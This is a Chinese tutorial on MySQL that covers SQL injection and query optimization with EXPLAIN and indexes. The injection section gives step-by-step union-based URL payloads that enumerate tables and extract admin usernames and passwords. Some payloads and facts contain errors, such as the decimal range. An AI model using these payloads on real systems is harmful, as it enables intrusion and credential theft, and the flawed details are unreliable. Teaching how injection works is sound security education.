MySQL sql注入和数据库的优化详解

MySQL注入优化

• • 学习目标
  • SQL 注入
  • • 注入中常用的函数与语法
    • 判断是否存在sql注入漏洞。
    • 判断字段数：
    • 判断回显点：
    • 获取信息
    • 查询当前数据库以及表名称。
    • 查询表admin中的字段名。
    • 查询用户名称
    • 查询密码：
  • SQL优化
  • • explain
    • • 参数说明
      • • id
        • select_type
        • partitions
        • type
        • possible_keys
        • key
        • key_len
        • extra
        • filtered
    • 优化分析
    • • 1、初步优化：创建索引
      • 2、再次优化：覆盖索引
      • 3、涉及到排序
      • 4、排序字段加复合索引
      • 5、再次覆盖索引
      • 6、强制使用指定索引
    • MySql_float类型字段查询不出来
• 作业
• • 作业1
  • 作业2

学习目标

1. 了解SQL注入原理
2. 掌握防止SQL注入的方法
3. 了解SQL优化方法

SQL 注入

SQL注入是通过SQL语法的漏洞，盗取数据、修改数据等的操作。

假设有如下查询语法：

SELECT ? FROM  ? WHERe  ? LIKE  '%好%';

其中'%好%'为搜索的关键词，表示搜索带有好字的内容

假如把搜索的关键词改为：'%';--好%',就能查询全部数据。

案例

举一个比较常见的例子来简要说明一下sql注入的原理。

假如我们有一个users表，里面有两个字段username和password。在我们的java代码中我们初学者都习惯用sql拼接的方式进行用户验证。

String sql = "select id from users where username = '" + username + "' and password = '" + password + "'"

这里的username和password都是我们存取从web表单获得的数据。

下面我们来看一下一种简单的注入，如果我们在表单中username的输入框中输入' or 1=1-- ，password的表单中随便输入一些东西，假如这里输入123。此时我们所要执行的sql语句就变成了

select id from users where username = '' or 1=1-- and password = '123'

我们来看一下这个sql，因为1=1是true，后面 and password = '123’被注释掉了。所以这里完全跳过了sql验证。

注入中常用的函数与语法

• Group_concat()：将select的查询结果全部显示出来，占一个显示位
• select version(）：查询MySQL版本
• select user(）：查询数据库用户名
• select database()）：查询数据库名
• select @@datadir()：查询数据库的绝对路径
• select @@version_compile_os:查询操作系统版本
• select current_user():查询当前用户
• Order by: 找列的数量
• Union select:联合查询（联合查询的条件是前一条语句查询不到且字段数与前一条语句的查询字段数一致）
• limit：限制显示个数（如：limit 0 2 表示从第一个开始显示两个）

判断是否存在sql注入漏洞。

• 构建sql语句：?id=1 and 1=2 查看页面是否正常。结果页面显示不正常。

• 注释：因为id=1为真（可正常访问页面），且1=2为假，所以and条件永远不会成立。对于web应用不会返回结果给用户。则攻击者能看到的是一个错误的界面或者页面结果为空。当然，如果攻击者构造的请求异常，也会导致页面访问不正常。

• 构建新的sql语句，确定是否存在语句逻辑错误导致页面不正常。?id=1 and 1=1 结果页面正常，初步判断存在sql漏洞。

  注释：1=1 为真，and条件语句成立。

判断字段数：

• 构建sql语句：
  • ?id=1 and 1=1 order by 1 判断网页是否正常。
  • ?id=1 and 1=1 order by 2 判断网页是否正常。
  • ?id=1 and 1=1 order by 3 判断网页是否正常。
  • 结果：?id=1 and 1=1 order by 3 网页显示不正常，可以判断字段数为2
  • 注释：“order by 1”表示对第一栏位进行排序，

判断回显点：

• 构建sql语句：

  ?id=1 and 1=2 union select 1,2
  

  (之后的查询结果将显示在下图红框位置)

  • 注释：union 操作符用于合并两个或多个select语句的结果集，union内部的select语句必须拥有相同数量的列。

获取信息

查看当前数据库名以及数据库版本。

• 构建sql语句：

  ?id=1 and 1=2 union select 1,database()；?id=1 and 1=2 unio select 1, version()
  

  • 注释：
    • union select 1 ,database(),其中数字1占一列，凑数，用来满足union定义。
    • database()：表示网站使用的数据库，version()：表示当前mysql的版本，usr()：当前mysql的用户。

查询当前数据库以及表名称。

• 构建sql语句：

  ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
  

  • 注释：
    • information_schema数据库用于存储数据库元数据，例如：数据库名，表名，列的数据类型，访问权限等。
    • tables用来存储数据库中的表的信息，包括表属于哪个数据库，表的类型，存储引擎，创建时间等。t
    • able_schema和table_schema是表tables中的数据库库名和表名。
    • limit 0,1 表示第一行显示一行数据。
    • limit 1,1表示第二行显示一行数据。

查询表admin中的字段名。

查询三个字段：id、username 、password

• 构建SQL语句：?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
• 构建SQL语句：?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
• 构建SQL语句：?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
• 注释：
  • columns表存储表中的列的信息。
  • 其中包含数据库库名table_schema,表名table_name ，字段名column_name。

查询用户名称

• ?id=1 and 1=2 union select 1,username from admin

查询密码：

• ?id=1 and 1=2 union select 1,password from admin

SQL优化 explain

通过explain命令可以清楚看到MySQL是如何处理sql语句的

如下SQL

explain select * from itdragon_order_list where transaction_id = "81X97310V32236260E";

结构如下：

+----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+-------------+
 | id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra | +----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+-------------+
 | 1 | SIMPLE | itdragon_order_list | NULL | ALL | NULL | NULL | NULL | NULL | 3 | 33.33 | Using where | +----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+-------------+

打印的内容分别表示：

• id : 查询序列号为1。
• select_type : 查询类型是简单查询，简单的select语句没有union和子查询。
• table : 表是 itdragon_order_list。
• partitions : 没有分区NULL 。
• type : 连接类型，all表示采用全表扫描的方式。
• possible_keys : 可能用到索引为null。
• key : 实际用到索引是null。
• key_len : 索引长度当然也是null。
• ref : 没有哪个列或者参数和key一起被使用。
• rows : 行数
• filtered : 被过滤
• Extra : 使用了where查询。

这里需要重点了解的是type为ALL，全表扫描的性能是最差的，假设数据库中有几百万条数据，在没有索引的帮助下会异常卡顿。

参数说明 id

select 查询的序列号，包含一组可以重复的数字，表示查询中执行sql语句的顺序。

一般有三种情况：

1. 第一种：id全部相同，sql的执行顺序是由上至下；
2. 第二种：id全部不同，sql的执行顺序是根据id大的优先执行；
3. 第三种：id既存在相同，又存在不同的。先根据id大的优先执行，再根据相同id从上至下的执行。

select_type

select 查询的类型，主要是用于区别普通查询，联合查询，嵌套的复杂查询

• simple：简单的select 查询，查询中不包含子查询或者union
• primary：查询中若包含任何复杂的子查询，最外层查询则被标记为primary
• subquery：在select或where 列表中包含了子查询
• derived：在from列表中包含的子查询被标记为derived（衍生）MySQL会递归执行这些子查询，把结果放在临时表里。
• union：若第二个select出现在union之后，则被标记为union，若union包含在from子句的子查询中，外层select将被标记为：derived
• union result：从union表获取结果的select

partitions

表所使用的分区，如果要统计十年公司订单的金额，可以把数据分为十个区，每一年代表一个区。这样可以大大的提高查询效率。

type

这是一个非常重要的参数，连接类型。

常见的有：all , index , range , ref , eq_ref , const , system , null 八个级别。

性能从最优到最差的排序：system > const > eq_ref > ref > range > index > all

对java程序员来说，若保证查询至少达到range级别或者最好能达到ref则算是一个优秀而又负责的程序员。

• all：（full table scan）全表扫描无疑是最差，若是百万千万级数据量，全表扫描会非常慢。
• index：（full index scan）全索引文件扫描比all好很多，毕竟从索引树中找数据，比从全表中找数据要快。
• range：只检索给定范围的行，使用索引来匹配行。范围缩小了，当然比全表扫描和全索引文件扫描要快。sql语句中一般会有between，in，>，< 等查询。
• ref：非唯一性索引扫描，本质上也是一种索引访问，返回所有匹配某个单独值的行。比如查询公司所有属于研发团队的同事，匹配的结果是多个并非唯一值。
• eq_ref：唯一性索引扫描，对于每个索引键，表中有一条记录与之匹配。比如查询公司的CEO，匹配的结果只可能是一条记录，
• const：表示通过索引一次就可以找到，const用于比较primary key 或者unique索引。因为只匹配一行数据，所以很快，若将主键至于where列表中，MySQL就能将该查询转换为一个常量。
• system：表只有一条记录（等于系统表），这是const类型的特列，平时不会出现，了解即可

possible_keys

显示查询语句可能用到的索引(一个或多个或为null)，不一定被查询实际使用。仅供参考使用。

key

显示查询语句实际使用的索引。若为null，则表示没有使用索引。

key_len

显示索引中使用的字节数，可通过key_len计算查询中使用的索引长度。在不损失精确性的情况下索引长度越短越好。key_len 显示的值为索引字段的最可能长度，并非实际使用长度，即key_len是根据表定义计算而得，并不是通过表内检索出的。

ref

显示索引的哪一列或常量被用于查找索引列上的值。

rows

根据表统计信息及索引选用情况，大致估算出找到所需的记录所需要读取的行数，值越大越不好。

extra

• Using filesort： 说明MySQL会对数据使用一个外部的索引排序，而不是按照表内的索引顺序进行读取。MySQL中无法利用索引完成的排序操作称为“文件排序” 。出现这个就要立刻优化sql。
• Using temporary： 使用了临时表保存中间结果，MySQL在对查询结果排序时使用临时表。常见于排序 order by 和 分组查询 group by。 出现这个更要立刻优化sql。
• Using index： 表示相应的select 操作中使用了覆盖索引（Covering index），避免访问了表的数据行，效果不错！如果同时出现Using where，表明索引被用来执行索引键值的查找。如果没有同时出现Using where，表示索引用来读取数据而非执行查找动作。 覆盖索引（Covering Index） ：也叫索引覆盖，就是select 的数据列只用从索引中就能够取得，不必读取数据行，MySQL可以利用索引返回select 列表中的字段，而不必根据索引再次读取数据文件。
• Using index condition： 在5.6版本后加入的新特性，优化器会在索引存在的情况下，通过符合RANGE范围的条数 和 总数的比例来选择是使用索引还是进行全表遍历。
• Using where： 表明使用了where 过滤
• Using join buffer： 表明使用了连接缓存
• impossible where： where 语句的值总是false，不可用，不能用来获取任何元素
• distinct： 优化distinct操作，在找到第一匹配的元组后即停止找同样值的动作。

filtered

一个百分比的值，和rows 列的值一起使用，可以估计出查询执行计划(QEP)中的前一个表的结果集，从而确定join操作的循环次数。小表驱动大表，减轻连接的次数。

通过explain的参数介绍，我们可以得知:

• 表的读取顺序(id)
• 数据读取操作的操作类型(type)
• 哪些索引被实际使用(key)
• 表之间的引用(ref)
• 每张表有多少行被优化器查询(rows)

优化分析 1、初步优化：创建索引

-- 创建索引
create unique index idx_order_transaID on itdragon_order_list (transaction_id);
-- 分析
explain select * from itdragon_order_list where transaction_id = "81X97310V32236260E";

结果

+----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+-------------+
 | id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra | +----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+-------------+
 | 1 | SIMPLE | itdragon_order_list | NULL | const | NULL | NULL | NULL | NULL | 3 | 33.33 | NULL | +----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+-------------+

这里创建的索引是唯一索引，而非普通索引。

唯一索引打印的type值是const。表示通过索引一次就可以找到。即找到值就结束扫描返回查询结果。

普通索引打印的type值是ref。表示非唯一性索引扫描。找到值还要继续扫描，直到将索引文件扫描完为止。

显而易见，const的性能要远高于ref。并且根据业务逻辑来判断，创建唯一索引是合情合理的。

2、再次优化：覆盖索引

将select * from 改为了 select transaction_id from

explain select transaction_id from itdragon_order_list where transaction_id = "81X97310V32236260E";

结果

+----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+-------------+
 | id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra | +----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+-------------+
 | 1 | SIMPLE | itdragon_order_list | NULL | const | NULL | NULL | NULL | NULL | 3 | 33.33 | Using index | +----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+-------------+

Extra 显示 Using index，表示该查询使用了覆盖索引，这是一个非常好的消息，说明该sql语句的性能很好。若提示的是Using filesort(使用内部排序)和Using temporary(使用临时表)则表明该sql需要立即优化了。

根据业务逻辑来的，查询结构返回transaction_id 是可以满足业务逻辑要求的。

3、涉及到排序

既然是排序，首先想到的应该是order by， 还有一个可怕的 Using filesort 等着你。

explain select * from itdragon_order_list order by order_level,input_date;

结果

+----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+----------------+ 
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra | +----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+----------------+ 
| 1 | SIMPLE | itdragon_order_list | NULL | ALL | NULL | NULL | NULL | NULL | 3 | 100 | Using filesort | +----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+----------------+

首先，采用全表扫描就不合理，还使用了文件排序Using filesort，更加拖慢了性能。

MySQL在4.1版本之前文件排序是采用双路排序的算法，由于两次扫描磁盘，I/O耗时太长。后优化成单路排序算法。其本质就是用空间换时间，但如果数据量太大，buffer的空间不足，会导致多次I/O的情况。其效果反而更差。与其找运维同事修改MySQL配置，还不如自己乖乖地建索引。

4、排序字段加复合索引

为order_level,input_date 创建复合索引

-- 创建复合索引
create index idx_order_levelDate on itdragon_order_list (order_level,input_date);
-- 分析
explain select * from itdragon_order_list order by order_level,input_date;

结果

+----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+----------------+ | id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra | +----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+----------------+ | 1 | SIMPLE | itdragon_order_list | NULL | ALL | NULL | NULL | NULL | NULL | 3 | 100 | Using filesort | +----+-------------+---------------------+------------+------+---------------+------+---------+------+------+----------+----------------+

创建复合索引后你会惊奇的发现，和没创建索引一样？？？都是全表扫描，都用到了文件排序。是索引失效？还是索引创建失败？

5、再次覆盖索引

将select * from 换成了 select order_level,input_date from

explain select order_level,input_date from itdragon_order_list order by order_level,input_date; 

结果

+----+-------------+---------------------+------------+-------+---------------+---------------------+---------+------+------+----------+-------------+ 
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra | +----+-------------+---------------------+------------+-------+---------------+---------------------+---------+------+------+----------+-------------+ 
| 1 | SIMPLE | itdragon_order_list | NULL | index | NULL | idx_order_levelDate | 68 | NULL | 3 | 100 | Using index | +----+-------------+---------------------+------------+-------+---------------+---------------------+---------+------+------+----------+-------------+

type从all升级为index，表示（full index scan）全索引文件扫描，Extra也显示使用了覆盖索引。

可是不对啊！！！！检索虽然快了，但返回的内容只有order_level和input_date 两个字段，让业务同事怎么用？难道把每个字段都建一个复合索引？

MySQL没有这么笨，可以使用force index 强制指定索引。

6、强制使用指定索引

在原来的sql语句上修改 force index(idx_order_levelDate) 即可。

explain select * from itdragon_order_list force index(idx_order_levelDate) order by order_level,input_date; 

结果

1
2
3
+----+-------------+---------------------+------------+-------+---------------+---------------------+---------+------+------+----------+-------+ 
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra | +----+-------------+---------------------+------------+-------+---------------+---------------------+---------+------+------+----------+-------+ 
| 1 | SIMPLE | itdragon_order_list | NULL | index | NULL | idx_order_levelDate | 68 | NULL | 3 | 100 | NULL | +----+-------------+---------------------+------------+-------+---------------+---------------------+---------+------+------+----------+-------+

好处是使用索引，坏处是没有覆盖索引，会回表查询。

MySql_float类型字段查询不出来

当一个table表中有个字段（如：point）为Float类型，查询匹配时，查询结果为null。如下sql：

select count(1) from table1 where point='15.11';

结果为：0

原因是：FLOAT不标准,先查询一下所有值就看得出来了，转成VARCHAR再比较试试。如下sql：

select count(1) from table1 where LTRIM(point)=LTRIM('15.11');

结果为：1

原因是：在mysql中，float是浮点数，Mysql存储的时候是近似值，所以用精确查找无法匹配；但可以用like去匹配。

解决方法：

• 如果只用到Mysql数据库，不需要多库关联，针对小数类型的字段，可以使用decimal字段类型，decimal数据类型最多可存储 38 个数字，它存储了一个准确（精确）的数字表达法,不存储值的近似值。
• 也可以在创建字段时指定float的长度和小数点位数。
• numeric和decimal同义，numeric将自动转成decimal。

对于Decimal（M,N）的取值范围，因为它是以串的形式存放数字，他占用的字节为M+2字节。小数点和负数各占用一个字节，所以他的理论取值范围是这样的。

decimal（2,1） 的取值范围，一共占用4字节，负数和小数点占用2字节，负数最小为-9.9，同理正数符号可以隐藏，最大的正数为99.9.

作业 作业1

购物车系统数据模型设计（产品[product]、购物车[cart]、下单|订单[order]）

过程：

• 产品 –> 购物车：把产品的id存到购物车里面
• 购物车 –> 订单：从购物车挑选产品的id存到订单表，同时触发减产品库存（事务|触发器）
• 结果：E-R图，表的SQL文件，上面过程的SQL语句

作业2

分析SQL并且优化

select * from user where username = "xxx" and is_delete = 0 order by create_time desc;